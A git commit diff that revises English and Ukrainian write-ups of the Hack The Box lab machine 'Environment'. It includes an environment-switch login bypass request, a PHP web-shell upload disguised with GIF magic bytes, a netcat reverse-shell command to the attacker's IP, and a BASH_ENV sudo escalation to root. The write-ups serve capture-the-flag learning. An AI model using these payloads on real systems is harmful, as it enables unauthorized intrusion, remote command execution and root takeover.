elleoma/Writeups
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

update writeup

Browse Source
This commit is contained in:
Amoel Elleoma
2025-09-14 14:22:46 +03:00
parent e100b4e58e
commit af6a25c919
2 changed files with 67 additions and 48 deletions
Download Patch File Download Diff File Expand all files Collapse all files

44
HTB/environment/en.md
View File

@@ -53,7 +53,7 @@ echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d
yJ)E5-GT+*R yJ)E5-GT+*R
``` ```
But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in Burp. But nothing else in particular. To not waste time I would try to fuzz for subdomains & hidden directories on the target while looking at mailing list functionality in BurpSuite.
To fuzz for subdomains I'll use ffuf with wordlist from seclists: To fuzz for subdomains I'll use ffuf with wordlist from seclists:
@@ -82,13 +82,13 @@ upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, D
I found some interesting endpoints, like login, upload, storage, mailing. I found some interesting endpoints, like login, upload, storage, mailing.
Using Wappalyzer extension in browser I can check that website uses PHP and Laravel. Trying to access `http://environment.htb/upload` or `http://environment.htb/mailing` reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints
Trying to access `http://environment.htb/upload` or `http://environment.htb/mailing` reveals to us PHP (8.2.28) and Laravel (11.30.0) version as well as an error message that indicates we can send only POST requests to these endpoints: That error page also reveals some internal backend codebase which means the application is running in **debug mode:**
![image](imgs/error-laravel.png) ![image](imgs/error-laravel.png)
That error page also reveals some internal backend codebase which means the application is running in **debug mode**. Using Wappalyzer extension in browser I can confirm that website uses PHP and Laravel.
## Vulnerability Research & Exploitation ## Vulnerability Research & Exploitation
@@ -98,11 +98,13 @@ But for now it seems useless, since our application is already in debugging stat
Also it seems like Laravel 11.30.0 is vulnerable to reflected XSS when in debug mode, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918) but it is not useful for our case here since we don't have a victim to target. Also it seems like Laravel 11.30.0 is vulnerable to reflected XSS when in debug mode, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918) but it is not useful for our case here since we don't have a victim to target.
After playing with parameters on login endpoint, I was able to reveal some backend source code because application is in debug mode: ### Login endpoint
If we'll modify any params in POST request body on `http://environment.htb/login` we'll get different errors depending on parameters that we changed:
![image](imgs/login-debug.png) ![image](imgs/login-debug.png)
After removing any value from `remember` parameter in request body reveals some additional application environment, probably designed to be used by developers: After removing any value from `remember` parameter in request body, backend reveals some additional application environment, `preprod` designed to be used by developer:
```php ```php
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
@@ -112,9 +114,13 @@ if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/p
} }
``` ```
Now we can connect our [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301) to change environment and access endpoint (`/management/dashboard`) of the website we should not be able to. ### Backdoor that was left by the devs
By following this [PoC](https://github.com/Nyamort/CVE-2024-52301) we can send such request to login endpoint to activate preprod environment: Oopsie, seems like dev himself left backdoor for us! Thats very nice of them
Now we can connect our [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301) to change environment to `preprod` and access endpoint (`/management/dashboard`) of the website we should not be able to.
By following this [PoC](https://github.com/Nyamort/CVE-2024-52301) we can add `?--env=preprod` as a parameter in the end of the login POST request to activate preprod environment:
```http ```http
POST /login?--env=preprod HTTP/1.1 POST /login?--env=preprod HTTP/1.1
@@ -135,7 +141,7 @@ Connection: keep-alive
_token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False
``` ```
After sending it in Burp we need to click on `Show response in browser` to be redirected to `environment.htb/management/dashboard` After sending request in Burp we need to click on `Show response in browser` to be redirected to `environment.htb/management/dashboard`
![image](imgs/burp-preprod.png) ![image](imgs/burp-preprod.png)
@@ -151,10 +157,11 @@ Trying to upload a plain PHP shell won't work, because backend checks for 'magic
So we need to find a way to bypass these checks and somehow upload a shell So we need to find a way to bypass these checks and somehow upload a shell
## Shell upload ### Shell upload
I will use this site with a variety of remote shells for different languages: https://www.revshells.com/ I will use this site with a variety of remote shells for different languages: https://www.revshells.com/
In this case, since the site runs on PHP, I chose the following: In this case, since the site runs on PHP, I chose the following:
``` ```
<html> <html>
<body> <body>
@@ -175,9 +182,9 @@ In this case, since the site runs on PHP, I chose the following:
</html> </html>
``` ```
Backend probably has bad regex check on filename parameter, because I could upload a file named as `index.gif.php.` with PHP cmd shell inside and magic bytes in request to bypass MIME type checking. Backend probably has bad regex check on filename parameter, because I could upload a file named as `index.gif.php.` with the dot in the end, PHP cmd shell inside and magic bytes in request to bypass MIME type checking.
To bypass the magic bytes check, simply add the string `GIF87a` before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and converted to the usual `index.gif.php`. To bypass the magic bytes check, simply add the string `GIF87a` before our shell for gif file types, and also add a period at the end of the file name, which is truncated on the server side and gets converted to the usual `index.gif.php`.
```http ```http
POST /upload HTTP/1.1 POST /upload HTTP/1.1
@@ -241,14 +248,14 @@ Now we have RCE on the target. So to get fully functional reverse shell we need:
rlwrap nc -lvnp 1337 rlwrap nc -lvnp 1337
``` ```
2. On our uploaded PHP cmd shell send any reverse shell pointing to us: 2. On our uploaded PHP cmd shell send any reverse shell for linux system pointing to our IP:
```bash ```bash
busybox nc 10.10.14.53 1337 -e sh busybox nc 10.10.14.53 1337 -e sh
``` ```
![image](imgs/revshell.png) ![image](imgs/revshell.png)
3. I like to get a persistent interactive shell for reverse shell that won't drop connection after some time, so I'll use this set of commands to get one: 3. I like to get a persistent interactive shell that won't drop connection after some time, so I'll use this set of commands after getting reverse connection on our machine:
```bash ```bash
# After getting a reverse connection on netcat # After getting a reverse connection on netcat
python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")'
@@ -276,7 +283,7 @@ hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
After looking at `/etc/passwd` (file that contains all users existing on unix systems) we can guess that we'll need to get access to hish user and then exploit our way to root: After looking at `/etc/passwd` (file that contains all users existing on unix systems) we can guess that we'll need to get access to hish user and then exploit our way to root:
`www-data -> hish -> root` `www-data -> hish -> root`
### Recon as www-data ## Recon as www-data
To get started we would need to check for any critical files that can contain information about hish password (like logs, databases). To get started we would need to check for any critical files that can contain information about hish password (like logs, databases).
@@ -357,7 +364,7 @@ gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
because we don't have permission to create files as www-data user in /var/www. because we don't have permission to create files as www-data user in /var/www.
So we'll need to copy keyvault.gpg and hish's .gnupg directory with their private keys to directory we have write permissions to. I'll use /tmp for this: So we'll need to copy `keyvault.gpg` and hish's `.gnupg` directory with their private keys to directory we have write permissions to. I'll use `/tmp` for this:
```bash ```bash
www-data@environment:$ cd /tmp www-data@environment:$ cd /tmp
@@ -404,6 +411,8 @@ We're in! First thing I check when I get a user on a system is to see what progr
## Root Privilege Escalation ## Root Privilege Escalation
Looing at `sudo -l` output we can see, that there's some `systeminfo` program that we can execute with root priviliges
That program is actually a simple bash script: That program is actually a simple bash script:
```bash ```bash
@@ -428,7 +437,7 @@ echo -e "\n### Checking disk usage for all filesystems ###"
df -h df -h
``` ```
Here I lost some time, thinking where or how could we hijack execution of these commands, since they are running as root. But after checking `sudo -l` again, I see that I missed crucial `env_keep+="ENV BASH_ENV"` inside. It basically means that we can overwrite bash's internal environment variable, so when we call for `/usr/bin/systeminfo` we could pass our own variable with path to malicious script that will get a root shell when trying to execute bash binary. Here I lost some time, thinking where or how could we hijack execution of these commands, since they are running as root. But after checking `sudo -l` again, I see that I missed crucial `env_keep+="ENV BASH_ENV"` inside. tl;dr it means that we can overwrite bash's internal environment variable, so when we call for `/usr/bin/systeminfo` we could pass our own variable with path to malicious script that will get a root shell when trying to execute bash binary.
### BASH_ENV ### BASH_ENV
@@ -459,4 +468,5 @@ root-bash-5.2# cat root.txt
root-bash-5.2# root-bash-5.2#
``` ```
Thats it
We successfully got root shell on system! We successfully got root shell on system!

71
HTB/environment/ua.md
View File

@@ -2,27 +2,26 @@
## Про Environment ## Про Environment
`Environment` — це машина Linux середньої складності. Початковий `Environment` — це машина Linux середньої складності. Початкова експлуатація передбачає використання
пункт передбачає використання
[CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), що [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), що
дозволяє маніпулювати середовищем за допомогою параметра `--env`, обходячи дозволяє маніпулювати середовищем веб додатку за допомогою параметра `--env`, обходячи
функцію входу в систему. З панелі управління функцію входу в систему. З панелі управління
[CVE-2024-2154](https://nvd.nist.gov/vuln/detail/CVE-2024-2154) використовується [CVE-2024-2154](https://nvd.nist.gov/vuln/detail/CVE-2024-2154) використовується
для завантаження веб-оболонки `PHP`, вбудованої в зображення профілю, для завантаження веб-шеллу `PHP`, вбудований в зображення профілю,
що дає гравцеві точку опори через виконання команд. На що дає атакуючому дочтуп до системи через виконання команд. На
скомпрометованій системі можна знайти відкриті ключі `GPG` разом із скомпрометованій системі можна знайти відкриті ключі `GPG` разом із
зашифрованою резервною копією. Розшифровані дані містять дійсні паролі користувачів, зашифрованою резервною копією. Розшифровані дані містять дійсні паролі користувачів,
що дає можливість доступу через `SSH`. Підвищення привілеїв досягається за допомогою що дає можливість доступу через `SSH`. Підвищення привілеїв досягається за допомогою
дозволів sudo. Користувач може виконувати скрипт з підвищеними дозволів sudo. Користувач може виконувати скрипт з підвищеними
привілеями. Хоча сам скрипт є нешкідливим, змінна середовища `BASH_ENV` привілеями. Хоча сам скрипт є нешкідливим, змінна середовища `BASH_ENV`
зберігається під час підвищення привілеїв, що зберігається під час підвищення привілеїв, що
дозволяє виконувати довільні команди як root. дозволяє виконувати довільні команди від користувача root.
**Посилання на лабу:** https://app.hackthebox.com/machines/659 **Посилання на лабу:** https://app.hackthebox.com/machines/659
## Початкове сканування ## Початкове сканування
Перше, що я люблю робити, це сканувати ціль за допомогою nmap для відкритих портів і дізнатись, які технології використовує машина: Перше, що я люблю робити - сканувати ціль за допомогою `nmap` для відкритих портів і дізнатись, які технології використовує машина:
```bash ```bash
nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179 nmap -Pn -p- --min-rate 2000 -sC -sV -vv -oA nmap/environment 10.129.135.179
@@ -42,7 +41,7 @@ PORT STATE SERVICE REASON VERSION
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` ```
Nmap сканування показує відкриті ssh і http порти. SSH має версію 9.2p1, а HTTP бекенд - nginx 1.22.1. Версія SSH вразлива до CVE-2024-6387 (regreSSHion), але я не думаю, що це шлях для експлуатації поки що, бо для експлуатації цієї вразливості потрібно буде чекати приблизно 6-8 годин, щоб отримати віддалений шелл. Думаю, я можу зробити це швидше ;) Nmap сканування показує відкриті ssh і http порти. SSH має версію 9.2p1, а HTTP бекенд - nginx 1.22.1. Версія SSH вразлива до CVE-2024-6387 (regreSSHion), але я не думаю, що це шлях до експлуатації, бо для успішного виконання poc потрібно буде чекати приблизно 6-8 годин, щоб отримати віддалений шелл. Думаю, я можу зробити це швидше ;)
Наш таргет має доменне ім'я environment.htb, яке потрібно додати до нашого /etc/hosts файлу для доступу до порту 80. Наш таргет має доменне ім'я environment.htb, яке потрібно додати до нашого /etc/hosts файлу для доступу до порту 80.
@@ -52,11 +51,11 @@ echo "10.129.135.179 environment.htb" | sudo tee -a /etc/hosts
## Вебсайт на 80 порту ## Вебсайт на 80 порту
Після доступу до http://environment.htb/ ми потрапляємо на простий веб-сайт: Після того як перейшли на http://environment.htb/ ми потрапляємо на простий сайт:
![image](imgs/environment.png "environment.htb") ![image](imgs/environment.png "environment.htb")
Після вивчення веб-сайту та його вихідного коду я помітив, що функціонал розсилки поштою має якусь робочу функціональність, що незвично для таких лаб. Також є CSRF токен в input тегу, який декодується в незрозумілий рядок за допомогою base64: Після вивчення сайту та його вихідного коду я помітив, що функціонал розсилки поштою має якусь робочу функціональність, що незвично для таких лабок. Також є CSRF токен в input тегу, який декодується в незрозумілий рядок за допомогою base64:
```html ```html
<input type="hidden" name="_token" value="eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" autocomplete="off"> <input type="hidden" name="_token" value="eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" autocomplete="off">
@@ -67,7 +66,7 @@ echo "eQJKKZTGRTUtoOwXR1Sr9ysqHfNSDxt3qLLJBa6r" | base64 -d
yJ)E5-GT+*R yJ)E5-GT+*R
``` ```
Але нічого особливого. Щоб не витрачати час, я спробую пошукати субдомени і приховані директорії на цілі, поки розглядаю функціональність розсилки поштою в BurpSuite. Але поки що нічого особливого. Щоб не витрачати час, я спробую пошукати субдомени і приховані директорії на цілі, поки розглядаю функціональність розсилки поштою в BurpSuite.
Для фазингу субдоменів я використаю ffuf зі словником від seclists: Для фазингу субдоменів я використаю ffuf зі словником від seclists:
@@ -94,15 +93,15 @@ vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 4
upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms] upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 794ms]
``` ```
Я знайшов кілька цікавих ендпоінтів, таких як login, upload, storage, mailing. Тут я знайшов кілька цікавих ендпоінтів, таких як login, upload, storage, mailing.
Використовуючи розширення Wappalyzer в браузері, я можу перевірити, що веб-сайт використовує PHP і Laravel. Спроба доступу до `http://environment.htb/upload` або `http://environment.htb/mailing` показує нам версію PHP (8.2.28) і Laravel (11.30.0), а також повідомлення про помилку, яке вказує, що ми можемо надсилати лише POST запити до цих ендпоінтів
Спроба доступу до `http://environment.htb/upload` або `http://environment.htb/mailing` показує нам версію PHP (8.2.28) і Laravel (11.30.0), а також повідомлення про помилку, яке вказує, що ми можемо надсилати лише POST запити до цих ендпоінтів: Ця сторінка помилки також розкриває деякий внутрішній код, що означає, що додаток працює в **режимі дебагу:**
![image](imgs/error-laravel.png) ![image](imgs/error-laravel.png)
Ця сторінка помилки також розкриває деякий внутрішній бекенд код, що означає, що додаток працює в **режимі дебагу**. Використовуючи розширення Wappalyzer в браузері, я можу ппідтвердити, що веб-сайт використовує PHP і Laravel.
## Дослідження вразливостей і експлуатація ## Дослідження вразливостей і експлуатація
@@ -110,13 +109,15 @@ upload [Status: 405, Size: 244869, Words: 46159, Lines: 2576, D
Але поки що це здається марним, оскільки наш додаток уже в стані дебагу. Але поки що це здається марним, оскільки наш додаток уже в стані дебагу.
Також здається, що Laravel 11.30.0 вразливий до reflected XSS в режимі дебагу, [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918), але це не корисно для нашого випадку, оскільки у нас немає жертви для атаки. Також здається, що Laravel 11.30.0 вразливий до reflected XSS (only in debug mode), [CVE-2024-13918](https://nvd.nist.gov/vuln/detail/CVE-2024-13918), але це не корисно для нашого випадку, оскільки у нас немає жертви для атаки.
Після гри з параметрами на login ендпоінті, я зміг розкрити деякий вихідний код бекенду, тому що додаток в режимі дебагу: ### Гра з параметрами на login endpoint
Якщо модифікувати на `http://environment.htb/login` параметри в тілі POST запиту можна отримати різні типи помилок залежно від параметрів, які ми змінюємо:
![image](imgs/login-debug.png) ![image](imgs/login-debug.png)
Після видалення будь-якого значення з `remember` параметра в тілі запиту розкриває деяке додаткове середовище додатку, ймовірно призначене для використання розробниками: Після видалення будь-якого значення з параметру `remember` в тілі запиту, бекенд розкриває деяке додаткове середовище додатку, `preprod`, призначене для використання розробниками:
```php ```php
if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
@@ -126,9 +127,13 @@ if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/p
} }
``` ```
Тепер ми можемо підключити нашу [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), щоб змінити середовище і зайти на ендпоінт (`/management/dashboard`), до якого ми не повинні мати доступу. ### Бекдор, який залишили самі розробники
Згідно цьому [PoC](https://github.com/Nyamort/CVE-2024-52301), ми можемо надіслати такий запит до login ендпоінту для активації preprod середовища: Отакої, сам розробник залишив бекдор для нас! Дуже мило з його сторони!
Тепер ми можемо підключити нашу [CVE-2024-52301](https://nvd.nist.gov/vuln/detail/CVE-2024-52301), щоб змінити середовище на `preprod` і зайти на ендпоінт (`/management/dashboard`), до якого ми не повинні мати доступу.
Згідно цьому [PoC](https://github.com/Nyamort/CVE-2024-52301), ми можемо додати `?--env=preprod` в кінці POST запиту на login ендпоінт для активації preprod середовища:
```http ```http
POST /login?--env=preprod HTTP/1.1 POST /login?--env=preprod HTTP/1.1
@@ -149,7 +154,7 @@ Connection: keep-alive
_token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,attacker%40environment.htb&password=admin%27&remember=False
``` ```
Після відправлення його в Burp потрібно натиснути на `Show response in browser`, щоб бути перенаправленим на `environment.htb/management/dashboard` Після відправлення запиту в Burp потрібно натиснути на `Show response in browser`, щоб бути перенаправленим на `environment.htb/management/dashboard`
![image](imgs/burp-preprod.png) ![image](imgs/burp-preprod.png)
@@ -165,10 +170,11 @@ _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,at
Тому нам потрібно знайти спосіб обійти ці перевірки і якось завантажити наш шелл. Тому нам потрібно знайти спосіб обійти ці перевірки і якось завантажити наш шелл.
## Завантаження php reverse shell ### Завантаження php reverse shell
Я використаю цей сайт з різним набором віддалених шеллів під різні мови: https://www.revshells.com/ Я використаю цей сайт з різним набором віддалених шеллів під різні мови: https://www.revshells.com/
В даному випадку оскільки сайт працює на PHP, я вибрав собі такий: В даному випадку оскільки сайт працює на PHP, я вибрав собі такий:
```php ```php
<html> <html>
<body> <body>
@@ -189,9 +195,9 @@ _token=REgoc9V6MU0xdUsJMbSBVygImoZg0AgDh0KY4X7A&email=admin%40environment.htb,at
</html> </html>
``` ```
Бекенд ймовірно має погану regex перевірку параметра filename, тому що я зміг завантажити файл з назвою `index.gif.php.` з PHP cmd шелом всередині і magic bytes в запиті для обходу перевірки типу MIME. Бекенд ймовірно має погану regex перевірку параметра filename, тому що я зміг завантажити файл з назвою `index.gif.php.` з крапкою в кінці, PHP cmd шелом всередині і magic bytes в запиті для обходу перевірки типу MIME.
Для того, щоб обійти перевірку на magic bytes достатньо просто додати перед нашим шеллом рядок `GIF87a` для типу файлів gif, та, також, додати крапку в кінці назви файлу, яка обрізається на сервер-стороні й перетворюється на звичайний `index.gif.php` Для того, щоб обійти перевірку на magic bytes достатньо просто додати перед нашим шеллом рядок `GIF87a` для типу файлів gif, та, також, додати крапку в кінці назви файлу, яка обрізається на стороні серверу й перетворюється на звичайний `index.gif.php`
```http ```http
POST /upload HTTP/1.1 POST /upload HTTP/1.1
@@ -255,14 +261,14 @@ GIF87a
rlwrap nc -lvnp 1337 rlwrap nc -lvnp 1337
``` ```
2. На нашому завантаженому PHP cmd шелі надіслати будь-який шел під лінукс, що вказуватиме на наш ip: 2. На нашому завантаженому PHP cmd шелі надіслати будь-який шел під лінукс, що вказуватиме на наш IP:
```bash ```bash
busybox nc 10.10.14.53 1337 -e sh busybox nc 10.10.14.53 1337 -e sh
``` ```
![image](imgs/revshell.png) ![image](imgs/revshell.png)
3. Я люблю отримувати постійний інтерактивний шел, який не втратить з'єднання через деякий час, тому я використаю цей набір команд для його отримання: 3. Я люблю отримувати постійний інтерактивний шел, який не втратить з'єднання через деякий час, тому я використаю цей набір команд після отримання зворотнього з'єднання на нашій машинці:
```bash ```bash
# Після отримання віддаленого з'єднання на netcat на нашій машині: # Після отримання віддаленого з'єднання на netcat на нашій машині:
python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")'
@@ -290,7 +296,7 @@ hish:x:1000:1000:hish,,,:/home/hish:/bin/bash
Після перегляду `/etc/passwd` (файл, що містить всіх користувачів, що існують в unix системах) ми можемо здогадатися, що нам потрібно буде отримати доступ до користувача hish, а потім експлуатувати наш шлях до root: Після перегляду `/etc/passwd` (файл, що містить всіх користувачів, що існують в unix системах) ми можемо здогадатися, що нам потрібно буде отримати доступ до користувача hish, а потім експлуатувати наш шлях до root:
`www-data -> hish -> root` `www-data -> hish -> root`
### Розвідка ## Перевірка файлів під www-data користувачем
Для початку нам потрібно перевірити будь-які критичні файли, які можуть містити інформацію про пароль hish (такі як логи, бази даних). Для початку нам потрібно перевірити будь-які критичні файли, які можуть містити інформацію про пароль hish (такі як логи, бази даних).
@@ -353,7 +359,7 @@ drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup
-rw-r--r-- 1 root hish 33 Sep 5 04:00 user.txt -rw-r--r-- 1 root hish 33 Sep 5 04:00 user.txt
``` ```
Дивлячись на директорію backup, ми бачимо файл `keyvault.gpg`, який можемо спробувати дешифрувати за допомогою GPG. Але ми не зможемо просто це зробити використовуючи `gpg -d keyvault.gpg`: Дивлячись на директорію backup, ми бачимо файл `keyvault.gpg`, який можемо спробувати дешифрувати за допомогою GPG. Але просто використовуючи `gpg -d keyvault.gpg` в нас не вийде:
```bash ```bash
www-data@environment:/home/hish$ ls -la backup/ www-data@environment:/home/hish$ ls -la backup/
@@ -371,7 +377,7 @@ gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
тому що у нас немає дозволу створювати файли як користувач www-data в /var/www. тому що у нас немає дозволу створювати файли як користувач www-data в /var/www.
Тому нам потрібно скопіювати keyvault.gpg і .gnupg директорію hish з їхніми приватними ключами в директорію, де у нас є права на запис. Я використаю /tmp для цього: Тому нам потрібно скопіювати `keyvault.gpg` і `.gnupg` директорію hish з їхніми приватними ключами в директорію, де у нас є права на запис. Я використаю `/tmp` для цього:
```bash ```bash
www-data@environment:$ cd /tmp www-data@environment:$ cd /tmp
@@ -418,7 +424,9 @@ uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),3
## Ескалація привілеїв root ## Ескалація привілеїв root
Ця програма насправді простий bash скрипт: Дивлячись на вивід команди `sudo -l`, можна побачити, що ми можемо запускати деяку програму `systeminfo` як користувач root
Ця програма насправді простий самописаний bash скрипт:
```bash ```bash
hish@environment:~$ cat /usr/bin/systeminfo hish@environment:~$ cat /usr/bin/systeminfo
@@ -442,7 +450,7 @@ echo -e "\n### Checking disk usage for all filesystems ###"
df -h df -h
``` ```
Тут я втратив трохи часу, думаючи де або як ми можемо перехопити виконання цих команд, оскільки вони працюють як root. Але після перевірки `sudo -l` знову, я бачу, що пропустив важливе `env_keep+="ENV BASH_ENV"`. Це в основному означає, що ми можемо перезаписати внутрішню змінну середовища bash, тому коли ми викликаємо `/usr/bin/systeminfo`, ми можемо передати нашу власну змінну зі шляхом до зловмисного скрипту, який отримає root шел при спробі виконати bash бінарник. Тут я втратив трохи часу, думаючи де або як ми можемо перехопити виконання цих команд, оскільки вони працюють з привілеями root. Але після перевірки `sudo -l` знову, я бачу, що пропустив важливе `env_keep+="ENV BASH_ENV"`. Якщо коротко, це означає, що ми можемо перезаписати внутрішню змінну середовища bash, тому коли ми викликаємо `/usr/bin/systeminfo`, ми можемо передати нашу власну змінну зі шляхом до зловмисного скрипту, який отримає root шел при спробі виконати bash бінарник.
### BASH_ENV ### BASH_ENV
@@ -487,4 +495,5 @@ root-bash-5.2# cat root.txt
root-bash-5.2# root-bash-5.2#
``` ```
От і все!
Ми успішно отримали root шел в системі! Ми успішно отримали root шел в системі!